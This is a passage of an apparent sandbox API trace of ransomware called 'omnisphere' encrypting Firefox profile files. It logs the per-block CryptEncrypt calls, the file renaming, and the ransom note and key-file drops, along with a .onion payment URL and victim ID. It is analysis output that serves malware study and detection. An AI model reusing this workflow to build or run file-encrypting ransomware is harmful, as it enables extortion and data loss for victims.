pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.964] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.964] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.964] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.964] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.964] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.964] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.965] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.965] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.965] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.965] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.965] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.965] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.965] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.104] CryptDestroyKey (hKey=0x1639568) returned 1 [0161.104] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0161.105] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x208638, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.105] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0161.106] GetProcessHeap () returned 0x1600000 [0161.106] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2d6) returned 0x1747590 [0161.106] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-wal" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite-wal"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-wal.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite-wal.omnisphere")) returned 1 [0161.107] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-wal.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-wal.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-wal.omnisphere.id" [0161.107] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-wal.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite-wal.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.108] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0161.110] CloseHandle (hObject=0x388) returned 1 [0161.110] UnmapViewOfFile (lpBaseAddress=0x4010000) returned 1 [0161.130] CloseHandle (hObject=0x3c0) returned 1 [0161.130] SetEndOfFile (hFile=0x288) returned 1 [0161.130] FlushFileBuffers (hFile=0x288) returned 1 [0161.175] CloseHandle (hObject=0x288) returned 1 [0161.176] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-wal" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0161.176] GetProcessHeap () returned 0x1600000 [0161.176] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1747870 [0161.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.176] GetProcessHeap () returned 0x1600000 [0161.176] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1734210 [0161.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1734210, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.176] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.176] GetProcessHeap () returned 0x1600000 [0161.176] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726578 [0161.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726578, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.176] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.176] GetProcessHeap () returned 0x1600000 [0161.176] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x17300e8 [0161.176] PathCombineW (in: pszDest=0x17300e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0161.176] GetProcessHeap () returned 0x1600000 [0161.176] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1738b70 [0161.177] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.177] WriteFile (in: hFile=0x288, lpBuffer=0x1738b70*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1738b70*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0161.177] CloseHandle (hObject=0x288) returned 1 [0161.177] GetProcessHeap () returned 0x1600000 [0161.177] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1747870 | out: hHeap=0x1600000) returned 1 [0161.177] GetProcessHeap () returned 0x1600000 [0161.177] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162bd08 [0161.177] PathCombineW (in: pszDest=0x162bd08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0161.177] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.177] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0161.178] CloseHandle (hObject=0x288) returned 1 [0161.178] GetProcessHeap () returned 0x1600000 [0161.178] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162bd08 | out: hHeap=0x1600000) returned 1 [0161.178] GetProcessHeap () returned 0x1600000 [0161.178] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c798 | out: hHeap=0x1600000) returned 1 [0161.178] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40cce7aa, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40cce7aa, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40ccfb2d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0xcc, cFileName="pluginreg.dat", cAlternateFileName="PLUGIN~1.DAT")) returned 1 [0161.178] GetProcessHeap () returned 0x1600000 [0161.178] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xbe) returned 0x16415f0 [0161.178] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="pluginreg.dat" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\pluginreg.dat") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\pluginreg.dat" [0161.178] StrStrW (lpFirst=".omnisphere", lpSrch=".dat") returned 0x0 [0161.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\pluginreg.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\pluginreg.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.179] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=461) returned 1 [0161.179] GetTickCount () returned 0x1168091 [0161.179] GetTickCount () returned 0x1168091 [0161.179] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.180] GetTickCount () returned 0x1168091 [0161.181] GetTickCount () returned 0x1168091 [0161.181] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1669120) returned 1 [0161.181] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x16397a8) returned 1 [0161.181] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0161.181] CryptDestroyKey (hKey=0x16397a8) returned 1 [0161.182] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0161.182] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1cd, lpName=0x0) returned 0x3c0 [0161.182] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1cd) returned 0x1480000 [0161.182] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16681b8) returned 1 [0161.182] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639568) returned 1 [0161.183] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.183] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.184] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.184] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.184] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.184] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.184] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.184] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.184] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.184] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.184] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.184] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.184] CryptDestroyKey (hKey=0x1639568) returned 1 [0161.184] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0161.184] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x1cd, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.184] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0161.186] GetProcessHeap () returned 0x1600000 [0161.186] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ce) returned 0x1747870 [0161.186] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\pluginreg.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\pluginreg.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\pluginreg.dat.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\pluginreg.dat.omnisphere")) returned 1 [0161.186] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\pluginreg.dat.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\pluginreg.dat.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\pluginreg.dat.omnisphere.id" [0161.186] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\pluginreg.dat.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\pluginreg.dat.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.187] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, 